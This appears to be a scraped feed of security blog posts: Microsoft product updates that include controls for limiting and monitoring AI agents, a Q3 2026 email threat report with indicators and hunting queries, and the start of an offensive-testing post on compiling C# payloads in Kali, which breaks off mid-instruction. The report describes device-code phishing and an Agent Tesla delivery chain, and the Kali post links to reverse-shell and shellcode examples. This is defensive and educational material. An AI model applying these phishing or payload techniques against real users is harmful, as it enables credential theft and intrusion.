Today. Emergency Mitigation Service can automatically apply interim mitigations for certain emerging vulnerabilities, helping reduce exposure while a permanent security update is prepared and deployed. Mitigation addresses the immediate risk; the security update addresses the underlying vulnerability.

Next. In December 2026, we plan to introduce Emergency Mitigation Service 2.0 for Exchange Server and Skype for Business Server, enabling it by default and expanding the security mitigations it can apply. In January 2027, we are planning to extend Emergency Mitigation Service 2.0 to cover SharePoint Server.

When threats move faster, protection needs to move faster too.

Act today, prepare for what comes next

Taken together, these investments represent an important shift: from providing customers with security guidance and tools toward building the recommended security posture into the products themselves.

Microsoft continues to recommend moving workloads to Microsoft 365 wherever possible. Start by identifying which workloads can move and which must remain on-premises. For those that remain, move to supported releases, assess exposure, apply current security updates, and enable available protections.

The Exchange Server, SharePoint Server, and Skype for Business Server teams will publish additional guidance on available protections, upcoming capabilities, and actions customers can take now. We also plan to bring practitioner-focused on-premises guidance to Secure Now to help organizations assess their environment, identify critical actions, and prioritize the steps they can take.

Join us at Microsoft Ignite for Secure your on-prem estate (BRK215) to explore the initiative, upcoming investments, and steps you can take now.

Modernize where you can. Strengthen the security of what must remain.

The post New investments to reduce on-premises security risk appeared first on Microsoft Security Blog.

​​​​What’s new in Microsoft Security: November 2026

5 November 2026 at 12:00

Endpoint administrators need to keep elevated access accountable at scale. Security teams also need a clearer view of expert-led protection and a simpler way to deploy SQL Server protection in Azure Government. As AI agents gain access to business data and tools, organizations need ways to limit their authority and adapt protection as risk changes. This month’s Microsoft Intune and Microsoft Defender updates introduce capabilities across these areas, alongside new Secure AI capabilities for agent access. A recent Secure Now update in Microsoft Security Exposure Management also connects information on recent threats to focused initiatives for reducing exposure.

Here’s what’s new:

Limit agent authority to the task with Dynamic Permissions

Give agents task-scoped authority and adapt access as risk changes

As agents gain access to business data and tools, organizations need ways to manage what each agent is allowed to do. Dynamic Permissions provides an agent its own permissions and authority, scoped to its current task and for only as long as the task requires. As the agent works, Dynamic Agent Risk assesses whether the agent’s authority aligns with changing behavior and context. Dynamic Conditional Access can then respond proportionately by narrowing permissions, restricting access to resources, or requiring human approval for higher-impact actions. Together, these capabilities are designed to help organizations tailor agent authority before an agent acts and adjust access as risk changes. See how security can respond when an agent steps outside its task.

Dynamic Agent Risk combines signals from identity, data, endpoints, cloud, network, runtime, and the agent’s own activity to assess risk in real time.

Contain local AI agents with Microsoft Execution Containers

Apply least-privilege boundaries to help limit access on Windows

Microsoft Execution Containers (MXC), now generally available, gives organizations an operating system-enforced containment layer for AI agents, designed to limit what an agent can access. Rather than relying on the agent to behave within intended boundaries, MXC applies least-privilege controls across files, networks, processes, and user interactions, with additional isolation options for higher-risk scenarios. Organizations can tune and validate policies before enforcing them broadly, while upcoming integration with Microsoft Intune, Microsoft Entra, and Microsoft Agent 365 is intended to extend governance and attribution across the enterprise. Discover more about this policy-driven containment for AI agents.

Scale least privilege with Microsoft Intune Endpoint Privilege Management

Expand least-privilege scenarios with new system settings support and simpler tenant onboarding

Microsoft Intune Endpoint Privilege Management continues to expand the tasks standard users can complete without broad administrator rights. With new system settings support, standard users can change IPv4, IPv6, and DNS server values on their device’s network adapters through Endpoint Privilege Management, while administrators determine how those changes are elevated. For user-confirmed changes, administrators can require a business justification, Windows authentication, or both before the change is applied. Along with tenant onboarding updates, these improvements support organizations as they get started with and expand their use of Endpoint Privilege Management. Explore how to get started with system settings support in Endpoint Privilege Management.

Elevation system setting in the Microsoft Intune admin center.

Simplify security operations with Defender Experts

See what Defender Experts are investigating in a consolidated experience

As threats move faster and security environments grow more complex, security teams need to quickly understand what matters and when to act. New Microsoft Defender Experts MDR experiences in the Microsoft Defender portal bring ongoing expert work into focus with a consolidated overview page with updated navigation and visibility into hunts. Teams can review active and completed hunts, see findings from Defender Experts, and identify items that may require follow-up. Learn more about the new Defender Experts MDR experiences.

Dedicated Defender Experts entry points on the Microsoft Defender portal homepage and left navigation.

Extend protection and discover local agents with Microsoft Defender

Simplify deployment and expand SQL protection

The enhanced agent for Defender for SQL Servers on machines is now generally available for resource- and subscription-level enablement in Azure Government cloud. The enhanced agent uses existing SQL infrastructure, eliminating the need to deploy the Azure Monitor Agent for this scenario. Security teams can spend less time on deployment and extend protection across their SQL Server environments. Learn more about the enhanced agent and how to get started.

Discover local AI agents and their configured MCPs on Windows and macOS

On endpoints, Microsoft Defender is extending discovery capabilities for supported local AI agents and their configured model context protocols (MCPs) across Windows and macOS. Now generally available, Defender discovers more than 50 supported local AI agents by observing their activity and brings the agent, device, account, and configured MCP context together to help security teams understand local AI agent activity in their environment. Learn more about local agents.

Improve security posture with Microsoft Security Exposure Management

Prioritize foundational security controls with Secure Now

AI-enabled attacks can take advantage of familiar weaknesses, including excessive permissions, unprotected authentication flows, and exposed systems. Secure Now now pairs information about recent threats with focused initiatives across security domains. Security teams can use that context to identify foundational controls that need attention, review the recommended actions, and prioritize work intended to reduce exposure. The update helps connect information about observed attack patterns with security improvements teams can consider in their own environments.

Learn how to address agentic AI’s security challenges

From agentic inventory and observability to stopping AI runtime threats

An inventory is only the starting point for managing Al agent risk. Organizations also need to consider ownership, limits on what agents can access, how risk is reassessed as agents operate, and protections against emerging threats. “Don’t Leave AI Exposed” provides security professionals, IT administrators, and developers with actionable guidance on managing risk across the agent lifecycle. Download the guide for considerations spanning agent inventory, ownership, access, monitoring, and runtime protection.

Stay in the Loop

Security teams need a clear account of what is changing across the portfolio and where those changes can strengthen their operations. In the Loop brings together the latest Microsoft Security updates and their implications for your security strategy. Explore earlier editions and check back for the next drop.

See Microsoft Security innovations in action at Microsoft Ignite, November 17-20, 2026, in San Francisco or online.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post ​​​​What’s new in Microsoft Security: November 2026 appeared first on Microsoft Security Blog.

Email threat landscape: Q3 2026 trends and insights

Microsoft Threat Intelligence detected approximately 7.3 billion email-based phishing threats from July through September, including a sharp increase to nearly 3 billion in September alone, up 41% from August. Yet the increase did not extend across the techniques that had driven threat actor activity earlier in the year. QR code phishing remained far below its early-year peak, while CAPTCHA-gated phishing reversed several months of decline, driven in part by renewed use of SVG attachments.

Line graph showing the number of phishing emails sent over several months, showing a steady decline in Q3 until a sharp increase in September.
Figure 1. Monthly detected email threat volume (January – September 2026)

The quarter also highlighted how sender identity and security exceptions can shape the outcome of detected threats. Microsoft detected approximately 129 million malicious messages spoofing the sender domains of tracked business services. Many were delivered because organization- or user-configured exceptions overrode security protections, even after the messages failed authentication checks and were identified as malicious, showing how overly broad exceptions intended to preserve legitimate workflows can also expose them to impersonation. In Microsoft Teams, attackers increasingly used ordinary personal names rather than explicit help desk identities while continuing to use live interactions for social engineering. Across malicious attachment activity more broadly, credential theft remained the dominant objective in Q3.

Two campaigns observed during the quarter illustrate the range of activity behind these trends. An August campaign targeting legal organizations used personalized salary review documents and QR codes to lead recipients into device code phishing, despite the broader decline in QR code attacks. In September, purchase order and payroll lures used disguised archives to deliver Agent Tesla, malware commonly used to collect credentials and other information. Together, the campaigns show how familiar business requests remained effective lures across distinct attack paths.

The effects of the March disruption of the Tycoon2FA phishing-as-a-service (PhaaS) platform also remained evident. By July, Microsoft detected approximately 21,000 phishing messages linked to the platform, down 99.8% from 8.9 million in February, the last full month before the operation.

A decreasing number of phishing emails from January to July, starting at 10 million and dropping to nearly zero.
Figure 2. Tycoon2FA-linked phishing email volume (January 2026 – July 2026)

This blog provides a view of email threat activity across Q3 2026, examining shifts in phishing techniques, malicious payloads, business contact impersonation (BCI), and Teams-based threats. We also highlight spoofed business-service sender domains and two campaigns that show how attackers used familiar work requests to make malicious messages appear credible. Together with recommendations, Microsoft Defender detections, and hunting queries, these findings can help defenders assess where existing protections may be weakened and investigate activity across email and collaboration platforms.

Spoofed sender domains

Requests to sign a document, review an invoice, or respond to a survey are routine business communications. Attackers exploit that familiarity by spoofing the sender domains of the legitimate services that deliver them. Rather than relying only on a misleading display name or a lookalike domain, these messages claim the service’s actual domain as their sender identity.

Microsoft detected approximately 129 million malicious messages spoofing the business-service domains tracked in this analysis during Q3. Activity had remained consistently high since at least May, at roughly 41 million to 46 million messages a month. DocuSign was the most frequently spoofed brand in September, accounting for 29% of that month’s total. Adobe, SurveyMonkey, and Barracuda also saw increases toward the end of the quarter, even as overall spoofing volume remained broadly steady.

A downward trend in phishing emails from 46 million in June to closer to 42 million in September.
Figure 3. Malicious messages spoofing tracked business-service sender domains (May – September 2026)

The more consequential finding was how security exceptions affected these messages after detection. Despite failing email authentication checks and being identified as malicious, many were associated with tenant- or user-level overrides. In September, overrides applied to 63% of messages with a recorded security outcome, with tenant-level overrides accounting for most of them.

The figures do not establish that recipients opened the messages or that accounts were compromised. They do show why exception policies deserve attention alongside detection coverage. An organization may create an exception to avoid interrupting a legitimate business workflow, but an overly broad exception can also weaken protection against messages impersonating that workflow. Familiar branding is not a substitute for an authenticated sender.

QR code phishing attacks

QR code phishing ended Q3 far below the levels seen during its early-year surge. Microsoft detected approximately 12.1 million attacks over the quarter, down 67% from Q2. The decline continued through September despite the broader increase in email threats, leaving monthly QR code volume 86% below its March peak.

A downward trend in phishing email occurrences, with counts decreasing from 19 million in March to less than 4 million by September.
Figure 4. Monthly QR code phishing volume (January – September 2026)

Much of the volume reduction came from the attachments that had supported that earlier growth:

  • PDF attachments remained the most common delivery format in Q3, accounting for 78% of QR code attacks in July and August before dropping to 61% in September. Nonetheless, the volume of PDFs carrying malicious QR codes fell by roughly 65% by the end of the quarter.
  • DOC/DOCX attachments accounted for 14% of QR code attacks in July and August before rising to 20% in September. Word document delivery volume similarly contracted in Q3, falling 39% between July and September following a sharp drop at the start of the quarter.
  • Email-embedded QR codes increased from 5% of attacks in July to 12% in September. After dropping to near-zero in Q2, the volume of malicious QR codes embedded in email bodies more than tripled by the end of Q3, although the method remained a smaller delivery category than attachments.
A line graph showing the   percentage of documents processed through various methods, with PDFs remaining the top method throughout Q3 followed by DOC attachments, email-embedded URLs, and other delivery methods.
Figure 5. QR code phishing delivery method share by month (January – September 2026)

The distinction between delivery methods matters for inspection coverage, but not for the recipient’s experience: either attachment or embedded formats can move a user from a message on a managed device to a phishing page on a personal phone. The reduction in volume has not changed that underlying challenge.

CAPTCHA-gated phishing tactics

CAPTCHA-gated phishing began to recover while QR code attacks continued to fall. By September, Microsoft detected 3.1 million CAPTCHA-gated attacks, nearly twice the volume seen at July’s low. Activity remained well below its March peak, but the recovery ended several months of sustained decline.

A declining trend in phishing emails, depicting over 12 million in March, dropping to 2 million in July, and closer to 4 million by September.
Figure 6. CAPTCHA-gated phishing volume (January – September 2026)

The increase in CAPTCHA-gated phishing attacks was not confined to a single attachment format as delivery methods shifted throughout Q3, though SVG attachments were central to the initial recovery.

  • SVG attachment volume increased sixfold in August, accounting for almost half of September’s total CAPTCHA-gated phishing attacks. Up from 17% of attacks in July, SVGs represented 65% of CAPTCHA-gated phishing attacks in August, remained elevated at 49% in September, and were the leading delivery method at the quarter end.
  • Email-embedded URLs accounted for 49% of attacks in July before falling to 19% in August as SVG activity surged. URL-delivered attacks more than doubled in September, reclaiming 30% of attacks.
  • PDF attachments declined from 22% of attacks in July to 12% in August, remaining at 12% in September.
  • HTML attachments declined from 9% of attacks in July to 2% in August, then more than tripled in volume in September to account for 6% of attacks.
  • DOC/DOCX attachments remained comparatively uncommon throughout Q3, representing only 1% of attacks each month.
A bar chart illustrating the percentage distribution of different document formats, with SVG attachments on top for Q3, generally followed by URL, PDF, HTML, and DOC or Other distribution methods by the end of the quarter.
Figure 7. CAPTCHA-gated phishing distribution method share by month (April – September 2026)

Malicious payloads

The dominant risk from malicious attachments continued to be credential theft, not malware installation. Approximately 94-96% of payload-based attacks during Q3 directed recipients toward a phishing site or presented a fraudulent sign-in page locally. An attachment did not need to install software to put an account at risk.

HTML and PDF attachments remained the two most common malicious payload types during Q3, together accounting for approximately 56–62% of payload-based attacks each month, while the more significant change was the return of SVG files:

A pie chart representing the distribution of various file types: 29% HTML and PDF, 4% DOCX, 16% SVG, 4% ZIP/GZIP, 3% RAR, 15% other
Figure 8. Malicious payloads by type
  • HTML attachments accounted for nearly two-thirds of malicious payloads and remained relatively steady across the quarter. HTML files ranked first in July at 32% of attacks before declining to 26% in August and recovering to 29% in September.
  • PDF attachments accounted for 27–30% of attacks and were the leading payload type in August and September. Volume remained comparatively stable, declining only 2% between July and September.
  • SVG attachments increased from 13% of attacks in July to 20% in August, when volume reached 10.1 million—the highest monthly volume in more than a year. Volume then fell 34% in September, although SVGs still represented 13% of attacks and remained roughly 50% higher than the monthly average for the first half of 2026.
  • DOC/DOCX attachments declined from approximately 5% of attacks in July and August to less than 3% in September, falling 76% below its monthly average volume for the first half of 2026.
  • ZIP/GZIP attachments declined from 5% of attacks in July to 3% in August before recovering slightly to 4% in September. Raw volume remained 24% below July.

The reduced use of Word documents alongside the renewed use of SVG files left a different mix of attachment threats, though credential theft remained the dominant objective.

A line graph depicting a trend in the number of file types, with HTML on top followed closely by PDFs, then SVG files, and DOC, ZIP, and other files all hovering around 2 million by the end of the quarter.
Figure 9. Malicious payload file type distribution by month (June – September 2026)

CAPTCHA-gated phishing accounted for only part of the malicious SVG activity. The resurgence was therefore broader than the use of SVG files to deliver that particular technique.

Business contact impersonation

Microsoft defines business contact impersonation (BCI) as a text-based attack targeting enterprise users that impersonates a trusted entity for the purpose of persuading a recipient into initiating a fraudulent financial transaction or sending the attacker sensitive documents.

BCI volume declined throughout Q3, totaling approximately 6.2 million attacks. That was substantially below Q2, although the comparison is influenced by the unusually large spike in April. By September, monthly activity had fallen to its lowest level since at least July 2025.

A downward trend that peaked at 9 million attacks in April before dropping sharply down to between 2-3 million for all of the third quarter.
Figure 10. Monthly BCI attack volume (January – September 2026)

The reduction in overall volume also concealed differences among financial lures. Generic messages continued to dominate initial BCI contact during Q3, but explicit task and financial requests gained share as overall attack volume declined:

  • Generic outreach messages, such as “Are you at your desk?”, accounted for 82% of attacks in July and August before declining to 79% in September. Raw volume fell 14% across the quarter, reinforcing that operators still overwhelmingly favored establishing contact before introducing a fraudulent request.
  • Generic task requests represented 8–10% of attacks during Q3, increasing from 9% in July to 10% in September despite a 9% decline in raw volume.

Within the smaller subset of explicit financial requests:

  • Payroll update requests were the most common financial lure, accounting for 6% of attacks in July and August and 7% in September. Raw volume remained broadly stable at approximately 126,000–130,000 attacks per month.
  • Invoice payment requests recovered from June’s low. Volume increased 34% in July, 25% in August, and 89% in September, more than tripling between June and September. Their share reached 3% in September, its highest level since March.
  • Gift card requests remained at 2% of attacks each month, while raw volume declined 9% from July to September.
Pie chart depicting BEI lures; 81% generic outreach contacts, 9% generic task requests, 2% payroll updates, 2% gift card requests, 6% invoice payments, and less than 1% for other types.
Figure 11. Initial BCI email content by type (Q3 2026)

The decline in BCI overall did not extend equally to the requests reaching payment and payroll staff.

Microsoft Teams threats

Microsoft observed approximately 141,000 malicious Teams call attempts during Q3. Activity peaked in July before declining 31% by September, although September volume remained 38% above the monthly average for the first half of 2026. Teams-based attacks continued to use live interactions across chat, voice, screen sharing, and remote-support tools to facilitate remote access, credential theft, and hands-on-keyboard compromise.

A trend line of call attempts, displaying a peak of over 50,000 attempts in July to about 35,000 by September.
Figure 12. Monthly observed malicious Microsoft Teams calls (January – September 2026)

Attackers increasingly moved away from display names that explicitly announced an IT- or tech-related support role. Ordinary personal-name display names rose from 46% of the observed July sample to 88% in September, while explicit help desk identities fell from 17% to 2%.

Bar chart comparing call impersonation types in Q3, with username impersonations rising from 46% in July to 88% by September, IT support impersonations ultimately decreasing from 17% to 10% after a spike in August, Help desk impersonations dropped from 17% to 2%, and Other impersonations dropped from 20% to virtually 0 by September.
Figure 13. Malicious Teams call impersonation comparison (Q3 2026)

This shift does not necessarily mean attackers abandoned IT support stories. A personal name can accompany a claim to work for the help desk, while the underlying account address retains technical or service-related wording. More targeted attempts also used domains resembling the intended victim organization’s domain, emphasizing that the visible name is only one part of the impersonation.

Voice phishing attempts peaked in July and then receded, but September volume remained above the levels observed early in 2026. Calls were concentrated during recipients’ weekday working hours, when a live response was more likely. These attempts included unanswered, rejected, and short-lived calls, partly reflecting Microsoft’s expanding visibility and ongoing efforts to strengthen protective measures against social engineering abuse. Attemps should not be interpreted as successful attacker interactions.

Notable phishing campaigns

The following campaigns were observed during the quarter and highlight notable credential phishing, BCI, and malware delivery activity. For analysis of a separate Teams-based IT-support impersonation campaign observed in August, see Impersonating IT support: Threat actors turn remote session into enterprise-wide access.

Salary review lure delivers personalized QR code attachment for device code credential capture targeting legal organizations

On August 19, 2026, Microsoft Defender Research observed a phishing campaign targeting more than 10,000 users across more than 4,800 organizations, almost exclusively located in the United States. While most phishing attacks typically don’t focus on a single vertical, this campaign targeted the professional services sector, specifically law firms and legal organizations. Messages in this campaign were sent out over a 13-hour period between 13:27 UTC on August 19, 2026, and 2:59 UTC on August 20, 2026.

Pie chart depicting 72.1% of campaign targets were professional services, 22.5% were technology and software, and 5.4% were other.
Figure 14. Intended campaign targets by industry

Emails in this campaign were sent with the subject line “Salary Review” from smtp[@]wekash[.]net via Amazon Simple Email Service. The email body carried no visible text and the sole payload was a Word document attachment named Your-Q3-Compensation-Summary.docx.

A notification regarding a revised compensation package for an employee, emphasizing the employee's exceptional performance and requesting confidentiality.
Figure 15. Sample of the campaign document attachment

The Word document impersonated the recipient’s own organization, displaying company branding and addressing the recipient by name. The message claimed that the recipient’s compensation had been revised following a Q2 performance review and that updated details were ready for review. A QR code in the document carried an instruction to scan it to access the revised details. This approach moved the phishing URL out of the email body and into an image, bypassing email gateway controls that scan text-based links but do not decode QR code images.

Scanning the QR code would have directed users to an attacker-controlled phishing page impersonating a Microsoft OneDrive sign-in portal hosted on the domain splace[.]co[.]za. The page presented an alphanumeric code and instructed recipients to copy it and proceed to the Microsoft sign-in portal.

Screenshot of a phishing landing page depicting a sign in pop up asking the user to copy the code and then click Next
Figure 16. Sample phishing landing page

The phishing page used a device code phishing technique, which works by making an authentication request to Microsoft’s device authentication service before the recipient arrived, receiving a user code in return, and embedding that code into the page. When a recipient copied the code and proceeded, the page redirected them to the legitimate Microsoft device authentication portal at microsoft.com/devicelogin, where they entered the code and signed in. Completing that sign in would have transferred a valid session token to the attacker. The token granted persistent access to the recipient’s Microsoft 365 account without ever exposing the password and without re-triggering multifactor authentication (MFA). A countdown timer on the page signaled that each code had a limited validity window, pressing recipients to act quickly.

Spanish-language purchase order and payroll campaign leads to Agent Tesla malware

On September 21, 2026, Microsoft Defender Research observed a phishing campaign targeting more than 56,000 users across more than 8,100 organizations. The campaign primarily targeted users in Spanish-speaking countries, with Colombia accounting for the largest share of intended recipients (15%), followed by the United States (12%), Mexico (12%), Chile (11%), and Spain (8%). Like most large-scale phishing attacks, this campaign did not focus on a single vertical, but instead targeted a broad range of industries, most notably retail and consumer goods (27%), manufacturing and agriculture (19%), and financial services (13%). Messages in this campaign were sent out over an almost nine-hour period between 14:57 UTC and 23:35 UTC on September 21, 2026.

Figure 17. Timeline of campaign message volume

Two lure variations were observed throughout the duration of the campaign: a purchase order theme, which was used in 63% of messages, and a payroll theme, which was used in the remaining 37%. Both variations were sent from the address contacto06[@]carloxmextos[.]org. Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) all passed for that domain, so the messages did not depend on simple address forgery. The actor changed the display name to resemble a sales or human resources identity associated with the recipient’s organization. That combination gave the messages technically valid authentication while using the visible sender identity and familiar business context to support the impersonation.

The purchase order lure variation used the reply-style subject “Re: solicitud de cotización”. Its body said, “Buen Dia”, claimed that a purchase order was attached, and asked the recipient to confirm receipt before closing with the lowercase “saludos”. The abrupt wording, inconsistent capitalization, and copied professional signature made the message look like a short continuation of an existing commercial exchange while avoiding details that a recipient could easily challenge.

The attached file, Nuevo orden de compra – 21092026.pdf.uu, was a RAR archive despite its uncommon .uu ending and PDF-like name. Inside it was Nuevo orden de compra – 21092026.pdf.js, a JavaScript downloader whose second extension exposed the executable script type only after extraction. If run, the script fetched a file named Lincoln.ps1 from a campaign-controlled object in Firebase Storage, and that PowerShell payload led to Agent Tesla malware. The nested archive and misleading extensions separated the visible business document theme from the code that executed, while the cloud-hosted download gave the actor a remotely accessible staging point.

Screenshot of a Spanish-language email with the subject “Re: solicitud de cotización.” The sender is shown as a sales-themed display name with the address contacto06@carloxmextos.org; the recipient and signature are redacted. The message says an order is attached and asks the recipient to confirm receipt. The attachment is labeled “Nuevo orden de compra - 21092026.pdf.uu.”
Figure 18. Redacted rendering of the purchase order lure email

The payroll-themed lure used the subject “Nomina 21.09.2026”. It addressed the recipient by name, said the September 21 payroll list was attached, and signed off as a human resources manager. The date-specific payroll pretext created an immediate work-related reason to open the file, while the personalized greeting made a bulk message appear locally relevant.

The payroll lure’s attachment, Nomina 21.09.2026.xml.001, was also a RAR archive. Extraction produced Nomina 21.09.2026.xml.exe, an Agent Tesla executable disguised with an XML-themed double extension. Unlike the purchase order delivery chain, this branch did not require a separate downloader in the supplied evidence, but both paths used the same sender infrastructure, attachment camouflage, date, and malware family. Agent Tesla is commonly used to collect credentials and other information from an infected host, so the shared final payload suggested that credential and information theft were the campaign’s likely objective.

Screenshot of a Spanish-language email from an HR-themed display name at contacto06@carloxmextos.org to a redacted recipient. The subject is “Nomina 21.09.2026.” The message says a payroll document for September 21, 2026, is attached and is signed “Gerente de Recursos Humanos.” The attachment is labeled “Nomina 21.09.2026.xml.001.”
Figure 19. Redacted rendering of the payroll lure email

Defending against email and collaboration threats

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

  • Microsoft helps organizations reduce the risk of phishing and social engineering in Teams through user awareness and layered, built-in protections. Users should exercise caution with external connection requests and messages, including verifying a sender’s identity and requests before acting on them. Administrators can also block external Teams users and specify which users in their organization are permitted to chat or meet with people outside the enterprise. These flexible controls help organizations manage risk for employees in sensitive roles and departments. Teams will also be introducing AI-powered phishing detection that uses conversation context to identify phishing and social engineering in higher-risk messaging scenarios, particularly first-contact chats with external users. Together, these measures help organizations collaborate more securely in Teams.
  • Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
  • Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
  • Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
  • Responders can also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
  • Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
  • Enable network protection in Microsoft Defender for Endpoint.
  • Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
  • Enable passwordless authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support passwordless. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

  • Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

  • A potentially malicious URL click was detected
  • A user clicked through to a potentially malicious URL
  • Suspicious email sending patterns detected
  • Email messages containing malicious URL removed after delivery
  • Email messages removed after delivery
  • Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Salary review campaign emails by sender address

The following query identifies emails associated with the August 19 campaign using a message’s sending email address.

EmailEvents
| where SenderMailFromAddress == “smtp@wekash.net”

Spanish-language purchase order and payroll campaign emails by sender address

The following query identifies emails associated with the September 21 campaign using a message’s sending email address.

EmailEvents 
| where SenderMailFromAddress == "contacto06@carloxmextos.org"

Indicators of compromise (IOCs)

IndicatorTypeDescriptionFirst seenLast seen
wekash[.]net Domain Sender domain used to distribute campaign emails via Amazon SES 2026-08-19 2026-08-20
smtp@wekash[.]net Email address Sender email address observed in campaign messages 2026-08-19 2026-08-20
Your-Q3-Compensation-Summary.docx File name Word document attachment carrying the compensation lure and QR code 2026-08-19 2026-08-20
splace[.]co[.]za Domain Domain hosting phishing content 2026-08-19 2026-08-20
https://splace[.]co[.]za/0987643345678908765421234567890987654320987654321223456787654/onedrive/ URL URL hosting phishing content 2026-08-19 2026-08-20
carloxmextos[.]org Domain Authenticated domain used to send both campaign variations 2026-09-21 2026-09-21
contacto06@carloxmextos[.]org Email address Sender address used for both observed lure variations 2026-09-21 2026-09-21
Nuevo orden de compra – 21092026.pdf.uu File name RAR attachment used in the purchase order variation 2026-09-21 2026-09-21
Nuevo orden de compra – 21092026.pdf.js File name JavaScript downloader contained in the purchase order archive 2026-09-21 2026-09-21
Lincoln.ps1 File name PowerShell payload downloaded by the purchase order branch 2026-09-21 2026-09-21
Nomina 21.09.2026.xml.001 File name RAR attachment used in the payroll variation 2026-09-21 2026-09-21
Nomina 21.09.2026.xml.exe File name Agent Tesla executable contained in the payroll archive 2026-09-21 2026-09-21
BEDD2297739632DA8EE470367295FE976E55BE74D628DCAEE7FA98121EE530F1 SHA-256 SHA-256 of the purchase order RAR attachment 2026-09-21 2026-09-21
CE832350C165522DB03DB040CA07917976D1A91F97E7016EA36DCC6B53E0EB13 SHA-256 SHA-256 of the JavaScript downloader 2026-09-21 2026-09-21
F8B49891D15A578E4DE28FECF99D0D78DB6B2C3DA81CD51C931B8D128E60C187 SHA-256 SHA-256 of the PowerShell payload associated with Agent Tesla delivery 2026-09-21 2026-09-21
C438B9A3BB67E2C10EFF0D01513422DC17DCE7C5508303A680E46F3DCEC886EF SHA-256 SHA-256 of the payroll RAR attachment 2026-09-21 2026-09-21
72966B30BBD87E42C683D2AC7A42BB62021FC14389D508551432FFD70D62F33A SHA-256 SHA-256 of the Agent Tesla executable from the payroll variation 2026-09-21 2026-09-21

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Email threat landscape: Q3 2026 trends and insights appeared first on Microsoft Security Blog.

Building Windows C# Tools and Payloads from Kali Linux

3 November 2026 at 19:00

One of our team members recently took (and passed!) OffSec’s advanced penetration testing course & exam, PEN-300/OSEP. Whilst it focuses a lot on Microsoft Windows, there were a few extra places where Linux could be used to complete the same task… just quicker!

Compiling C# code in Kali

In general, what you need for compiling CSharp (C#) code in Kali is mono-devel :

kali@kali:~$ sudo apt install mono-devel

Now we need some code to compile. Here’s a very basic way of executing a program (process):

using System;
using System.Diagnostics;
namespace Exec
{
class Program
{
static void Main()
{
Process proc = new Process();
ProcessStartInfo procInfo = new ProcessStartInfo("cmd.exe", "/T:09 /K systeminfo");
procInfo.CreateNoWindow = false;
procInfo.UseShellExecute = false;
proc.StartInfo = procInfo;
proc.Start();
}
}
}

If you would like some more examples to get you going, try a Shellcode Launcher or a Simple Reverse Shell.


All that is left is to compile:

kali@kali:~$ TERM=linux mcs -out:exec.exe exec.cs
kali@kali:~$
kali@kali:~$ file exec.*
exec.cs: C++ source, ASCII text
exec.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections
kali@kali:~$

How to run these binaries from Kali Linux

Simple: just install wine and wine-mono. It’s really handy, as you can test your Windows binaries (even reverse shells) directly from Kali:

kali@kali:~$ sudo dpkg --add-architecture i386
kali@kali:~$ sudo apt update
[...]
kali@kali:~$ sudo apt -y install wine32
[...]
kali@kali:~$
# Install wine-mono
kali@kali:~$ wget https://dl.winehq.org/wine/wine-mono/11.3.0/wine-mono-11.3.0-x86.msi
[...]
kali@kali:~$
kali@kali:~$ wine msiexec /i wine-mono-11.3.0-x86.msi
[...]
kali@kali:~$

And now, to run your freshly built .exe binary, just use:

